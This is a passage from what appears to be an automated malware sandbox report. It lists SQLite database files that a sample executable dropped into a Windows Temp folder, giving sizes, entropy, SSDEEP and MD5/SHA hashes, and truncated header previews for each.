Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\If4QAaatKU

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\InaMJlBA52

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J22jlDCnOF

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J5mV4oWkha

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JBhZ8b3o9N

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Jta5yoYCN5

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K4m8P2zlSc

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K7qaP8a8E0

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KGN0UkODrY

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KZQWnbtRGV

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L16lcbsOTl

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L4aby3jboL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LSiqXK0ofL

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MWujNu2pwz

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MzlSyuGjRv

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mzx5PuXibO

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N10oVgbFY6

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N8gKxmRaON

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NS9JO2gDiR

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NW3uASgIn3

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OLkbDLFizp

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OhfhNge7pV

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Oi0uEs1Is1

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OqzLLQ9sXQ

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\P4Wf9t80Mk

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PGQkBRpwZZ

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q0KCdojjgZ

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
